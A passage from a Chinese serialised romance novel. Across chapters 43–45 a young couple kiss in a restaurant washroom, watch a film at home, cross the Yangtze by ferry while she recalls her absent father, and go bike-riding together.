她轻轻惊呼了一声,身体往后仰,后背抵上了一大片冰凉的镜面,仿佛跌进爱丽丝的仙洞里。 他一手依然稳稳地托着她的后腰,另一只手强势地扣住了她的后颈,迫使她更近、更深地迎合自己。滚烫的舍撬开齿关,带着不容抗拒的力道,长驱直入。残留的葡萄甜香、雨水的微凉气息、和他身上清冽干净的雪松味道,彻底交融、发酵,酿成令人眩晕的烈酒。 狭小的空间里,氧气变得更加稀薄珍贵。混合着唇舍的濡氵显声响,令人心跳如鼓。 耳膜嗡嗡作响,隔着一道薄薄的门板,她似乎模糊听到他们的朋友同事就在隔壁包厢嬉闹。 “小谈总似乎一直没回来。” “是去拿东西了吧?” “应该是为了让我们放得开!” “哈哈哈哈!再来。阿晏,你要去哪儿?” “去放水啊。”紧接着是方晏的声音。 他皮鞋的声音似乎越来越近,“这个房间是卫生间吗?” “咚咚,”门板被叩响。 “外面,有人……”谈丹青上气不接下气地说。 急促的呼吸喷在她的唇边,像一场又一场小型飓风。 绪东阳一边吻她,一边用黑黢黢的眼睛暗沉沉地瞪她,示威似的说:“让他滚。” “什么?”谈丹青被觉得自己整个人此时都浸在水里,什么声音都听不真切。绪东阳的声音也好像从很远很远的地方传来。 “让他滚回广州。”似乎单纯让他滚不够解气,绪东阳几乎是恶狠狠地又补充了一句。 谈丹青从热烈的吻中偏了偏头,笑得发出几个气音。她抬手抓住绪东阳的耳朵,揪了揪。他耳朵根有点软。 “你怎么这么坏啊?要人家滚就算了,还要人家滚回广东……这儿你开的啊?” 他对她的宽容心怀不满,又俯身吻她。这次故意啄她的唇珠。将她唇上那块精致的车欠肉口允在齿间又磨又咬。 那处最每文感的软肉被他用牙齿不轻不重地碾磨着,带来一阵酥麻的电流。 那感觉像被细密的电流同时贯穿了神经末梢。 刺痛里夹杂着难以形容的欢愉。 门板传来门锁拧动的声音。 她紧张到极点,想挣开,可绪东阳宽大的手指全强硬地将她的挣扎按了下来。他托着她的后脑勺,使她将头昂起来,然后继续往深处探索着。 这样下去真不行,他们会被发现的。 可另一个念头同时升起——那就让他们发现吧。 “打不开,应该是杂物间。”门把拧到一半,便被卡住了。 “走吧。” 窸窸窣窣的脚步声远去,门外的人终于走了。 “门你提前锁了?”谈丹青气喘吁吁地质问。 “对。”绪东阳很不高兴谈丹青一直分心。他一会儿用齿尖细细地刮蹭柔软的嫰肉,一会儿又一整个裹覆住重重地口及。谈丹青招架无能,渐渐也忘记去纠结门外的事。 包厢里的人也陆陆续续离开。 门板另一侧越来越安静。 有服务生推着清理车经过走廊。 绪东阳终于放开了她,两个人倚在洗手池上,额头碰着额头。绪东阳一会儿摸了摸她的后脖颈,又用手背碰了碰她的脸,最后用指腹揩掉她嘴唇上的水。 他处于半餍足的状态,解了馋,但是还没解饿,于是满足地抱着他的大餐,准备待会儿回去了再继续。 谈丹青也从被绪东阳搅迷糊的神志里回过神来,这种靠在一起的感觉挺好,又安全又安定。 她缓了一会儿,双腿才落了地。 脚刚踩上地板,腿肚子一软,差点跌倒,被绪东阳一把搂在怀里。 “下次再不能这样了,”谈丹青掐绪东阳的耳朵,说:“刚刚外面还有人。” “嗯。”绪东阳双眸意味不明,似乎对她这句话非常满意。 谈丹青这才回过意来,她这句话的意思,已经暗示了他们可以有下一次,只要外面没有人……谈丹青心扑扑跳,有些别扭地低下头。 她脚上的高跟鞋刚刚被弄掉了一只。 她一只脚穿着鞋,另一只脚光着,脚踝白皙发亮。 绪东阳俯身捡起鞋,单膝蹲下帮她穿上,系好搭扣,然后抬眼深深看她:“我们现在算不算在一起。” 43 第43章 ◎电影◎ 绪东阳的问题,叫谈丹青一时无所适从。 她无法否认,她的确很喜欢绪东阳。 喜欢他的炽热和真诚。 喜欢他的年轻和英俊。 在这偌大的人世间,除了和她血脉相连的谈小白,再没有比绪东阳更让她喜欢的人或东西。 然而,她无法保证自己的这份喜欢,究竟有多深?又会持续多久? 她在感情上,清醒到悲观。 她太清楚大部分人的爱情和家庭,只不过是重复他们的父辈。 而谈国军和李柔实在算不上什么典范家长。即便她强迫自己不去想,可他们就在这里,时刻提醒着她,所谓亲密关系有多脆弱多虚假。 更何况,绪东阳还那样年轻。 是一匹刚刚挣脱缰绳、野性难驯的骏马, 她近乎笃定,像绪东阳这种年纪的男人,绝不会安分。 此刻的迷恋与追逐,不过是被新鲜感和征服欲点燃的短暂火焰。一旦他真正得到了,这簇火焰便迅速熄灭。随之而来的,是倦怠、是逆反,对她避之唯恐不及。 所以她觉得他们之间可以试一试,但没必要让其他人知道。 大概率在公开之前,他们已经断了。 她低头看绪东阳的脸。 绪东阳清俊的轮廓在灯光下显得格外清晰。 这双总是沉静的眼眸,盛满了毫不掩饰的期待和一丝不易察觉的紧张,正一瞬不瞬地锁着她。 心突然变得很软,像是被最柔软的羽毛轻轻拂过,塌陷下去一角。 她抬起手,轻轻拂了拂绪东阳的发尾。 绪东阳的头发又短又硬,根根分明。 摸上去并不柔软顺滑,反而带着一种粗粝的、扎手的质感,像刺猬一样。 头发硬的人,往往脾气也倔强。认准的事,便心如磐石,轻易不肯掉头。 “在你眼里我就这么渣吗?”谈丹青轻笑,指尖勾住他卫衣兜帽的黑色抽绳,轻轻一拽,说:“我都亲你了啊。我们当然算在一起了。” 绪东阳顺势站了起来。 站直后,他的身材高大宽阔,黑压压的小山一样笼了下来。 他再次贴着她的唇,带着失而复得的狂喜和确认的虔诚,温热而短暂地吻了吻,“盖章。” 谈丹青被他的再次偷袭弄得有些晕眩,她抵在他起伏的、如同山峦般坚实流畅的背脊上轻轻拍了拍,像安抚躁动的巨型犬。 “真不能再亲了,”微微偏开头,急促地喘了口气。 绪东阳用指腹轻柔地揩她的唇角,目光在她的唇上游来游去。 “再亲要被你咬掉块皮……”谈丹青说:“回去吧。” 绪东阳搂着她,直挺的鼻尖贴着她的脸仔细嗅了嗅,然后将她从洗手池上抱了下来,“好。” * 从饭店出去的时候,衣服已经干得差不多了。 绪东阳将外衣给她穿上。 他的卫衣特别大,往她身上一套,就只露出两条腿。 谈丹青觉得不舒服,不想穿,但绪东阳紧紧牵住她的手,一路不松。 开车回家后,谈丹青蹑手蹑脚地去谈小白的房间看了一眼。 “睡了?”绪东阳低声问。 “睡了。”谈丹青将食指放在唇前轻轻嘘了一声,关紧门,说:“睡得跟木头似的,打雷都叫不醒。” “饿不饿?”绪东阳说着朝厨房走。 “饿!”谈丹青立马跟上,在他身后脆生生地喊,“饿成狗啊。” 绪东阳嘴唇勾了勾,往腰上系围裙。 今晚谈丹青什么都没吃,除了喝酒,就是被他抱着啃,当然饿成狗。 “你要做什么吃?”谈丹青满心期待。 绪东阳拉开冰箱看食材。冰箱已经空了大半年,里面只有他回来后买的一些家常青菜和肉,“炒饭吧,这个比较简单。” 绪东阳做饭时,谈丹青帮不上忙,就在原地转来转去,假装自己在帮忙的样子。绪东阳往左边,她就跟着往左边;他往右边,就跟着往右边,像一条灵活的小尾巴。 厨房毕竟逼仄,一个人行走还算自如,两个人来回走,难免会妨碍到。谈丹青挡了绪东阳好几次路,说:“绪东阳,我站在这儿,你会不会嫌我烦啊?” “烦?” “碍手碍脚地呗。”谈丹青说。 绪东阳失笑了一声,说:“放心,我背着你都能做。” “哈。”谈丹青非常配合地扑到他背上,双臂环住他脖颈,故意夹着嗓子说,“那你好厉害哦!” 绪东阳背她的确很轻松。 他稳稳托住她,步履未乱。 她攀在他背上,耳朵靠着他凹凸的背脊,听着他的心跳。 像藤蔓绕枝,轻盈又熨帖。 “那你就这么做呗。” 绪东阳胸腔轻震,溢出低笑。 他拿谈丹青完全没办法。 背着谈丹青做饭虽然没有任何难度,但毕竟厨房里有明油明火,容易烫伤,做高难度系数动作危险性还是太大。 所以绪东阳灵机一动,想了个办法,“你帮我打鸡蛋吧。” “打鸡蛋?怎么打?” “鸡蛋加水,用筷子搅匀就好。”绪东阳说。 “好。”谈丹青非常认真地搅蛋,“这个也太简单了吧,绪东阳你是不是看不起我?” “没有。”绪东阳接过她搅好的蛋液,说:“你搅的鸡蛋特别好,很匀。” “那肯定的,”谈丹青说:“我做什么都非常好。” 谈丹青自满地翘了会儿尾巴,终于回过味儿来。 “搅得很匀”? 这是什么夸奖? 搁她这儿实践儿童心理学呢? 一大碗扬州炒饭出锅,两人懒洋洋地躺在沙发上消食。 “去……” “看电影吧。” 两人同时开口,声音撞在一起。 绪东阳扭头看她,问:“你刚刚说你想去哪儿?” 谈丹青脸涨了涨,耳根浮上绯色。她摸了摸鼻尖,含糊道:“我刚也说想看电影。” “嗯。”绪东阳不疑有他,说:“好。” 她原本想说的是:“去楼上。” 但绪东阳的提议这么纯情,她不由有些惭愧,也跟着纯情起来。 “看什么呢?”她靠在沙发上按动遥控器,绪东阳也坐了过来,让她将头枕在自己肩上。谈丹青便倚了过去,又扔给了他一只大抱枕。那抱枕很长,两个人能捧同一个。 “随便。看你想看的。”绪东阳说。 他今晚的心思也不在电影上,身体各项指标都不正常,心跳时快时慢,毫无章法地乱敲,再这么跳下去,怕是迟早要得心肌炎。 他又捉去谈丹青的手,耐心地一根手指一根手指捏。 说不清楚为什么,他就是很喜欢摸她的手。可能握她手的时候,两个人就能像电插头一样连接在一起。 摸到一处指关节稍硬些,便多摸了几次。念头一闪,忽然意识到,这里有茧是因为她用笔速写。他心便颤了颤,将她的手指递到唇边,用唇极轻地啄。 谈丹青挑的这部电影是她很喜欢的《穿普拉达的女魔头》,她看过好多遍。但绪东阳手指一直在挠她痒痒,她注意力也集中不到电影上,一直忍不住笑。 “你看过这部电影吗?”她问绪东阳: 绪东阳这才分神撩起眼皮朝电视屏幕投了一瞥,旋即又垂下去,继续专心致志地亲吻她的手指。 “没。”他答得懒而冷淡。 “料你没看。”谈丹青轻哼,说:“男生就没品味啊,只会看特效电影。” “是没品。”绪东阳说。 “那你认识安妮海瑟薇吗?” “认识。”绪东阳说:“这部电影片段有被作为听力练习素材。” 谈丹青忍俊不禁地笑了起来,说:“学霸人设不倒啊。” 电影演到哪儿,谈丹青其实也没怎么看进去。比起精彩的剧情,她更沉溺于此时靠在一起相互依偎的体温。好像他们是一对连体婴,好像他们本来就应该连在一起,只是因缘巧合才将他们分开。 灯光昏昧,电视里流淌着陌生的英文对白,不看字幕她听得云里雾里。最抓眼的还是那些华服,一套套轮番登场,如同流光溢彩的万花筒。应该没有任何一个设计师能拒绝这种诱.惑。 身后门突然“咔哒”一声响。 谈丹青和绪东阳两人顿时大气不敢出,大眼对小眼,默契地顺着沙发靠背往下滑。 谈小白从房间出来后,就听卫生间门被推开,然后传来水流声。 谈小白揉着眼睛从房间晃出来,脚步声踢踢踏踏。 接着是卫生间门被推开的吱呀声,不一会儿,哗啦啦的水流声响起。 谈丹青憋笑憋得浑身发抖,又不敢出声。 又过了半晌,水流声停歇,卫生间门关上,紧接着是谈小白房门合拢的轻响。 谈小白梦游似的回了窝,对客厅沙发里缩成一团的两个大人浑然未觉。 谈丹青和绪东阳两人卧躺在沙发上,面对着面,四目相对,电影幽微的光流淌过周身,明明灭灭,将彼此的轮廓勾勒得模糊又亲近。 谈丹青抬起手,食指戳了戳他的眉心。 绪东阳的目光沉静,如有实质地捉住了她作乱的手指。 “你什么时候回学校来着?”谈丹青问。 绪东阳回来那天,她其实已经问过一次。 但那时两人关系还隔着朋友的距离,远没有现在这种牵肠挂肚的不舍。 明明绪东阳还没走,还躺在她身侧。 可她却已经有点想他惹。 她抬起手,指尖继续在他的脸上划。 从眉心挪到鼻骨,顺着鼻梁滑了下来。 最后停在了他的唇上。 “不去了。”耳畔,绪东阳声音低而清晰。 “不去?”谈丹青瞪大眼睛。 “不去。退学。”绪东阳声音听起来完全不像是在跟她开玩笑。 好像一股暖流裹着蜜糖淌过心尖,谈丹青只觉得又甜又暖。她抬手又去捏绪东阳的耳垂,说:“你不走,我还要走呢。过完年,我也要回广东啊。” “也是……”绪东阳声音淡了下去。 即便他不去北京,谈丹青也要去广东。 这女人,可能不要他,但绝不可能不要她在广东的厂。 想到这一点,一股熟悉的酸意又在齿间弥漫开来。 他觉得自己这辈子都不用买醋了,他在她身上吃醋已经吃到饱。 “变小吧,”绪东阳忽然收紧手臂,下颌蹭着她的发顶,声音轻得像梦呓,“变成拇指姑娘,让我揣在口袋里,跟着我坐火车去北京。” 温热的气息钻进耳蜗,激起一片细密的酥麻,她控制不住地轻颤了一下,笑声从喉间溢出:“那怎么过安检啊?北京安检好严的。” 绪东阳目光锁着她,温热的鼻息喷洒在她的指尖。 他轻启唇,极轻地衔住她的食指。 那触感像被微弱的电流击中。 她陷在柔软的沙发里,像躺在一朵云上。 吻一路往上,羽毛般地落到手背,手腕。粗糙的虎口将她的袖口往上推,露出一节白皙的小臂,在幽暗的荧光下像一节发光的羊脂玉白。他靠近轻轻嗅着,湿热的呼吸灼出一只又一只滚烫的圈。 细微的战栗沿着脊椎蔓延,谈丹青指尖下意识蜷入他额前碎发。 他停了下来,抬头看她。 “明天,我们出去玩吧,”她说:“就我们俩。” 【作者有话说】 谢谢贝贝们的地雷支持和营养液灌溉!!! 鞠躬鞠躬! (#^.^#) 44 第44章 ◎江心◎ 冬季的江面泛着一层冷调的青灰。 水位线降低,露*出大片大片深褐色沙洲。江心也有一块滩涂地浮了出来,像一块黑色的龟背。 远处有运煤货船驶过,黝黑的船身切开银色的水光,倒映着浅灰色云影的江面立刻荡漾开,仿佛千万片冷冽的银鳞。 谈丹青倚着渡轮栏杆远眺,江风凛冽,灌满了她的衣衫,鼓荡如帆。 手机震动,是郑芳:“忙什么呢?一直没看工作消息,这不是你风格啊!谈恋爱了?” “哈!”谈丹青短促一笑,矢口否认:“怎么可能……” 郑芳也不信她有谈。 谈丹青身边就那些人,没见什么新面孔。 “有空的话,去趟老库房?”郑芳切入正题,说:“门卫说,这几天老有个中年男人找你。但问他是谁,又不肯说。怕是有什么事。” 谈丹青想了想,说:“八成是以前联系过的工厂老板想来找活。年关嘛,到处都在找钱。我有空过去看一眼。” 挂了电话,谈丹青随手对着苍茫的江面录了一小段空镜。 打算后期编辑成vlog。也算给郑芳有个交代。 她现在实在没什么工作的心思,只想恋爱,只想和绪东阳腻在一起,像所有热恋中的人。 身后暖意靠近,绪东阳解开大衣,将她整个儿裹进怀里,温热的掌心覆上她冻得通红的耳廓。 “女朋友。”他在她头顶低唤,下巴蹭着她的发丝,一同望向江面碎金般的波光。 女朋友。 这词听起来新鲜。 有种少男少女初恋时的青涩感,一听似乎就年轻了好几岁。 她忍不住弯起嘴角笑,昂头回敬:“男朋友。” 晨光落进绪东阳眼底,将那惯常的内敛也映亮了几分。 他对这称呼显然受用,低声道:“嗯,看来没忘。” “没忘什么?”谈丹青问。 “没忘我们的关系。”绪东阳握着她的手指,十指紧扣。 “怎么可能忘!”谈丹青立刻反驳。 “昨晚你喝了酒。”绪东阳声音里暗含一丝控诉。 仿佛她是惯会赖账的。 昨晚浓情蜜意,今早酒一醒,就翻脸不认人。 她笑着偏过头,安抚地在他嘴角飞快啄了一下,打包票道:“真没忘。” 船甲板上除了他们还有许多情侣,没人在意他俩的亲密。 谈丹青还是略微有些耳热,一亲完,就马上退开。 这时一对情侣走近,女生笑盈盈地开口,问:“打扰啦!能帮我们拍张照吗?” “行。”绪东阳接过相机,利落地帮他们拍了几张。 “看看。”他将相机递了回。 情侣凑近屏幕,“哇,拍得还蛮好的啊。” 绪东阳突然说:“方便帮我们也拍一张吗?” 谈丹青闻言微愣。说起来他俩还真没有一张合照。 她也很想拍一张,但船板上人来人往,当着这么多人的面拍照又觉得别扭。 她脚尖往外挪,刚挪开半步,便被绪东阳揽了回去,充满占有欲地用手臂环紧她的肩膀。他在她耳边说:“别想跑。” 谈丹青只得站好。 “没问题!”这对情侣爽快答应。 女孩立刻进入角色,热情地指挥着他俩站位:“靠近一点嘛!再近一点嘛!” 绪东阳的手臂环着她的肩,掌心有力地将她往怀中带了带。 “对对对!” “再笑一个!” 谈丹青依言对着镜头笑。 突然身后有货船经过,带来一阵风。 她的头发立刻被吹了起来,几乎同一刻,绪东阳温热的唇轻轻印在了她的脸颊上。 “这张绝了!!!”情侣激动地捧着手机跑回来,屏幕亮着那张定格,“刚才那艘船简直神助攻!还好我机智,按的是实况模式!你们看这风,这头发,还有这个吻!太自然太有感觉了!” 绪东阳镇定自若地道了谢:“谢谢,拍得很好。” 情侣走后,谈丹青忙拿走绪东阳的手机翻照片。 果然,货船入镜、发丝飞扬、吻落颊边的那一瞬,被完美捕捉。 “是拍得挺好的。”谈丹青仔细放大照片看了看。 手指继续往后翻,其他几张倚着栏杆的合照也很生动,两个人看起来就特别开心。 突然一张陌生照片映入眼帘。不是刚刚江景前的合照,而是她缩在沙发上睡觉。 这是什么时候拍的?她怎么完全不知道? 绪东阳几乎在她看清画面的同时,“咳”地一声清了清嗓子,手臂迅速抬起,就要把手机抽回去。 但谈丹青已经看到了,“绪东阳,你拍我丑照?!” 绪东阳又“咳”了一声,“不是丑照。” 他想到回学校后就再也见不到,就忍不住多拍了几张。而且她睡着的样子很安静,跟丑照没有一点关系。 “你手机到底还有多少偷偷拍我的照片?”谈丹青抬脚就要抢绪东阳的手机。 绪东阳反应极快,仗着身高优势,手臂猛地举高,手机瞬间被举到了谈丹青够不到的头顶。 “给我!”谈丹青踮着脚尖,努力去够,手指几次擦过他高举的手臂,却徒劳无功。 两人身体不可避免地贴近,她能闻到他身上干净的皂角味混合着淡淡的江风气息。 眼看硬抢抢不到,谈丹青急中生智,故意飞快抬头亲了一口他的下巴。 绪东阳果然立刻停住,举着手机的手臂像是被按了暂停键。 谈丹青抓住这宝贵的零点几秒,敏捷地伸手一捞,终于将手机稳稳抢到了自己手里,然后立马退远。 “好哇好哇,”谈丹青气恼地翻着绪东阳的相册。 昨晚绪东阳拍了好多张她窝在沙发上睡觉的照片。 而且这堆照片角度都差不多,内容大同小异,甚至好多张她都看不出区别。 “我睡觉才不是这个样子!” “你会不会拍嘛!” 再往后翻,谈丹青的指尖顿住。 那是好久以前她的朋友圈。 一张很朦胧的侧脸。 再看保存时间,久远到他们刚刚认识没多久的日子。 一股说不清道不明的热流瞬间涌上脸颊,比刚才发现偷拍时更甚,还夹杂着一丝微甜的心悸。 刚才那点气恼和羞愤,像被戳破的气球,“噗”地一下消散得无影无踪。 取而代之的是一种更柔软、更滚烫的情绪,在心口细细密密地蔓延开。 “算了,以后,以后我教你怎么拍……” 谈丹青默默将手机还给绪东阳。 就在绪东阳要接过手机时,她又想到了什么,飞快地将手机再次抢走。 “等等。”她故作镇定地点开两人的聊天对话框。 然后将合照转发给了自己。 做完这一切后,她迅速将手机塞回绪东阳手里。 扭开头,整个人趴在栏杆上。 仍江风拂面,带走脸颊上莫名其妙的温热。 “告诉你一个秘密,”她下巴抵着手背,瞥向身侧静静陪伴的绪东阳:“我从小就很喜欢长江,我总觉得,我就是被长江养大的。” 这些话她从来没有对别人说过。 因为在其他人面前,她得假装一下,装得体面,装得得体。 可绪东阳不一样。 他和她太熟悉了,他早就知道她那些不算耀眼的事,依然选择喜欢她。 于是在他身边,外壳似乎可以暂时卸下,露出里面那个曾经在江风里独自奔跑、早早就学会与生活讨价还价的小姑娘。 “为什么这么想?”绪东阳问。宽厚的手掌自然而然地覆上她紧攥栏杆的手,然后装进自己外衣的口袋。他身上的体温,瞬间驱散了指尖的冰凉。 谈丹青感受着手背上传递来的暖意,紧绷的指节悄然放松,悄悄反勾了一下他的掌心。 “以前电商还没现在这么发达嘛,买东西很麻烦。我们进货的时候,就要去江那头买,再卖给江这头,两头跑,赚差价。那时候我就会坐这种船过江。”她眼睛亮了亮,认真地说:“以前一趟两块,现在还是两块!你看多好!” 绪东阳静静地听着,目光温柔地描摹着她沉浸在回忆里的侧脸。江风吹拂着她的发丝,阳光在她长长的睫毛上跳跃。 他握紧了掌心里那只微凉柔软的手。 这是双漂亮、勇敢的手。 柔软,有韧性。 他想象不出,当年那个小小的谈丹青,是如何用这双手,一点点将自己和谈小白养大。 他曾听谈小白说,他们姐弟俩很小的时候母亲就去世了,但他似乎从来没提过他俩的父亲。 大概是跑了,但跑是跑去哪儿了?还会回来吗?过了这么多年,会不会已经死了? “那……伯父呢?”他轻声问:“他那时会带着你坐船吗?” “伯父?”谈丹青反应了一会儿,才说:“啊,你说我爸啊。” 她脸上的笑意仿佛被江风吹淡了些,目光依然望着江面,只是声音里那份轻快悄然褪去,变得平静无波。 “是。” 谈丹青扯了扯嘴角,说:“没。他很早就‘跑’了。” 绪东阳的心微微沉了一下,他握着她手的力道无意识地紧了紧。 “我妈生病的时候,他就欠了很多钱。”谈丹青平淡地说,“那些人上门找他,他就躲在房间里不出来,骗我和小白去开门。” “什么?”绪东阳几乎不敢想象,天底下竟然会有这般猪狗不如的父亲,将自己的孩子推出,自己缩头乌龟一样躲起来。 他更不敢想象,那个年龄的谈丹青,那么年幼,那么瘦小,被推出去的那一刻要面临什么。 “开门后呢?”他几乎屏住呼吸问。 “开门后,他们就欺负我们呗。他就躲在房间里,不出来帮我们。”这件事直到现在,都令谈丹青眼眶里涌上了泪花,“他们抓小白,掐他。谈小白个傻的,他估计现在屁都不记得了。” “他后来……还有消息吗?”绪东阳问。 谈丹青无所谓地耸了耸肩,说:“不知道,他欠钱跑了之后,就不知道了。”她脸上忽地绽开了一个明艳,却又意味不明的笑,说:“但我猜他肯定没死。” “为什么?”绪东阳不解她语气中的笃定。 “因为……”谈丹青转回头,重新趴回栏杆上,下巴抵着手背,长发被风吹开,对着江面轻声说:“好人不长命,祸害遗万年啊。” 悠长的汽笛声划破江面的宁静,渡轮缓缓靠岸。 游客们带着喧嚣陆续下船。 还有附近骑摩托车通行的居民,骑着轰隆作响的摩托下了船。 甲板上渐渐空阔,只剩下江风依旧不知疲倦地吹拂着。 从船上下来,谈丹青还有些失神。 她忽地听见绪东阳对着江面说了一声“谢谢。” 那声音不大,却清晰地钻入谈丹青耳中。 谈丹青疑惑地转过头,不解地问,“你刚刚在谢谢谁?” 绪东阳不语,牵着她往外走。 谈丹青脑中顿时冒出各种都市怪谈,她紧抓着绪东阳的手掐了一把,“你,你不会能看见什么,奇奇怪怪的东西吧?” 绪东阳失笑。 他垂下眸,视线落在两人依旧交握的手上。 拇指在她手背上轻轻蹭了一下。 “我没看到奇奇怪怪的东西,”他缓缓抬起眼,眼神专注地望着她。 “谢它。”他抬了抬下巴,朝奔流不息的长江微扬,声音低沉,“谢谢这条江水,把你养得这么好。” 谈丹青愣了愣,心跳在那一瞬间被江风灌得很满。 随即她“噗嗤”一声笑了出来,清脆的笑声像风铃般散落在江风里,“绪东阳,你真的太无聊了……” 她嘴上说着无聊,但被他握着的手,也悄悄回握得更紧了些。 45 第45章 ◎骑行◎ 这是他们俩第一次约会,绪东阳没打算带谈丹青去那些昂贵的餐厅。 他清楚自己的劣势和优势。 年轻是他的资本,但也是他此刻的局限。 高档餐厅是魏繁星那种人的战场。 他若想在这场无形的较量中占据一席之地,就得另辟蹊径。 所以他今天计划带着谈丹青体验独属于青春的,带着点学生气的浪漫。 过了江,两人沿江畔慢慢走。 初冬的风带着凉意,却也清爽通透。 “听说绕着长江走一圈,恋人就永远不会分开。”绪东阳扫了一辆绿色旅行观光单车,长腿跨了上去,单脚支地,回头看向她:“一起?” 谈丹青却站着没动。 她两手深深插.在外套口袋里,眯起眼,矜持地望着江面。 江面上什么都没有,只有一层层银色的波纹。 “不骑。”她敬谢不敏,大步往前走。 “骑车吹江风更舒服,”绪东阳单腿一点踏板,车身跟着往前游弋半尺,又来到她的身侧。他耐心地说:“而且这段路有点长,用腿走你会很累。” 谈丹青眼睛在那单车上溜了一圈。 骑车这种技能,都是小屁孩时期,父母扶着后座,在公园里一遍一遍练习才学会的玩意儿。 她没这种机会。 而且她又比谈小白聪明。 谈小白记吃不记打,摔了也不知道痛,所以才自学会骑车上下学。 她心里总存着对轮胎和龙头失控的不安,不敢轻易尝试。 再说了,她现在也已经没必要学。 她会开车。 四个轮胎,还比不过两个轮胎? 可是……今天的江风真的好舒服,阳光暖融融的晒着后背和肩膀。更重要的是,绪东阳那句“永远不会分离”的说法,像成年人的童话故事,让她有些悸动。 犹豫片刻,指尖挠了挠鼻尖上被江风吹乱的碎发。 “不试。”她最终还是嘴硬地坚决拒绝。 绪东阳目光在她脸上停顿了几秒,敏锐地察觉她极力掩饰的那点不自在。 心思微转,他忽然意识到什么,温声试探道:“你……会骑吗?” “哈?”谈丹青立刻像被踩着小脚的猫,声音夸张地拔高了一度,全神戒备地说:“骑车谁不会啊?三岁的小孩儿都会!” 绪东阳哑然失笑。她反应越大,他反而越笃定。 他从单车上下来,扶住车把手,将车身推给她,做出一副请君入瓮的姿态,说:“那你骑一个。” “嘁,你要我骑,我就骑啊?”谈丹青好面子。 她的面子大过天,叫她承认自己不会骑单车这种基本技能,如同登天。 看着谈丹青明明心虚得要命,却还要强撑出一副“本小姐天下第一”的气势,绪东阳终于忍不住低低地笑出声来,胸腔微微震动。 他不再逗她,示意她靠近:“上来吧,我帮你扶着。” “你扶着?”谈丹青满眼不信任。 “嗯,”绪东阳说:“我保证不让你摔。” 他的声音很沉静。 仿佛有一种奇异的,让人心安的力量。 悄然抚平她小心隐藏起来的忐忑不安。 她心中其实已经松动了几分。 但长久以来嘴硬的习惯,让她很难说出“好”、“愿意”这种软话。 她抿了抿唇,嘴依然比鸭子还硬:“那我也不要骑。” 绪东阳垂眸看了她一会儿。 然后拨响车铃,发出一串“叮叮当当”。 “谈丹青,”他突然慢悠悠地叫出她的名字,说:“胆子好小啊……花生米一样小。” 他还对她做了一个手势。 食指和大拇指捏在一起,好像她的胆子,就只有他手指缝之间的那么一丁点。 谈丹青:“???” 不得不说,绪东阳实在太了解她了。 三十六计,她什么计都中不了。 只有激将法屡试不爽。 “你,你才像花生米。”她瞬间被点燃斗志,把绪东阳从龙头旁挤走,一把抢过单车扶手。 江风拂过发梢,带着自由的气息。 谈丹青心里那点被戳破的羞恼之下,确实也藏着跃跃欲试。 在这样开阔的江边,迎着风骑车,应该会真的很舒服。 握着冰凉的车把手,绪东阳宽厚温暖的手掌紧跟着稳稳地覆了上来,连同冰冷的金属把手一起包裹住。 “别怕摔,”绪东阳说:“我会接着你的,现在脚先踩踏板……” 脚试着蹬了一下踏板。 车轮立刻滚动起来,带着惯性滑行出去,歪歪扭扭地滚了几米。 谈丹青忽然从车上跳了下来,警惕地左右张望:“有没有人看我们?” 如果被人发现她这么大个人了还在学骑车,她一定会扔车就跑。 绪东阳被她突如其来的跳车带得身体微微前倾。 这个动作有点危险,弄得他也惊魂未定,肾上腺素直飚。 看着在胸口前东张西望、写满紧张的后脑勺,他低头,在她头顶飞快地亲了一口,说:“放心,就算有人看到了,他们也只会觉得,我们这是情.趣,而不是你真的不会骑。” 他将情.趣两个字咬得很清晰,有几分揶揄的味道。 “是哦……”谈丹青觉得绪东阳的这个逻辑非常合情合理,她点点头,重新扶上车把手,“你说得好有道理。” 谈丹青重新坐好,绪东阳说:“再往前踩试试。” “现在就踩吗?” “对。”绪东阳干脆地说:“摔了算我的。” 她再次往下踏,身体因为那一点向前的冲力微微后仰,车头又开始不受控地扭动。 “哎!它,它自己在动啊!”她声音慌乱,双脚下意识地又想找支撑。 “别找地,没事,我在。”这次绪东阳提前察觉她又想跳车的意图,手臂稳稳地扶住她的腰侧,阻止她下车的动作。 隔着不算厚的衣物,他掌心的温度和力度清晰地传递过来,像一道稳固的屏障。他微微用力,带着她歪歪扭扭的车把向前,“跟着我的力道走,感受一下平衡……对,就这样,稳住……” 谈丹青被他半揽在怀里,几乎是依靠着他手臂的力量才勉强保持车头的平衡。 他坚硬饱满的胸膛若有若无地贴着她的后背,一种陌生的、混合着安全感从这一片接触点蔓延开来。 她尝试着按照他说的,努力看向前方开阔的江岸线,试着不再跟那倔强的车把死磕。 车歪歪扭扭,江风拂面,谈丹青突然有一种特别想大笑的感觉。 “绪东阳,看我,快看我!” 绪东阳含着笑。 从她身后慢跑到了她身侧,陪着她往前跑,“我在。” “保持……” “看前面。” “你挺厉害的。” 在绪东阳一声声坚定的鼓励里,谈丹青逐步迷失自我。 甚至生出一股莫名的自信。 觉得自己不是在江畔学车,而是正在参加环法自行车赛。 脚下蹬得飞快。 直到前方一只锈迹斑斑的铁皮垃圾桶,突兀地横在前方小路上。 “转头,快转头……”绪东阳急促的声音在身后响起。 但已经迟了。 角度太大,车头转不过来,不听使唤地直直朝着障碍冲了过去。 失重感天旋地转,落地前一刻,谈丹青心中闪过一个悲愤的念头:嗨,学新技能嘛,哪有不挨摔的。待会儿就把绪东阳这个庸师给削了…… 然而,预想中的疼痛和狼狈却并未降临。 绪东阳在最后一刻追了上来,钳住她的腰,猛地往怀中一带,侧滚进路旁厚实的绿草地里。 “唔……”谈丹青惊魂未定地喘了口气,后背几乎完全靠在了他坚实的胸膛上,清晰地感觉到他胸腔里沉稳的心跳透过衣料传来,一下,又一下。 身下是人肉软垫,即便这么摔下去其实一点也不疼。 但谈丹青突然不想这么快就爬起来。 她躺在原处,悄悄侧过头,去看绪东阳的脸。 阳光透过头顶层层叠叠的绿叶筛下细碎的光斑,落在绪东阳沾了点草屑的脸上。 他的脸近在咫尺,近得能看清阳光穿透树冠时,在他挺直鼻梁侧投下的睫毛阴影。唇线微微抿着,沾了星点草屑。世界仿佛在这一刻安静下来,只剩下彼此交错的呼吸。 他缓缓收拢了紧抱着她的手臂。 低沉的声音带着点劫后余生的沙哑,和不容置疑的笃定:“看,说了不会让你摔的。” “嗯。”谈丹青用鼻音应了一声,闭了闭眼睛,就像在晒太阳一样。 两个人靠了一会儿,绪东阳问她:“还能站起来吗?” “起得来。”谈丹青坐了起来,拍了拍身上的草屑。 绪东阳也拍着自己身上的草屑。 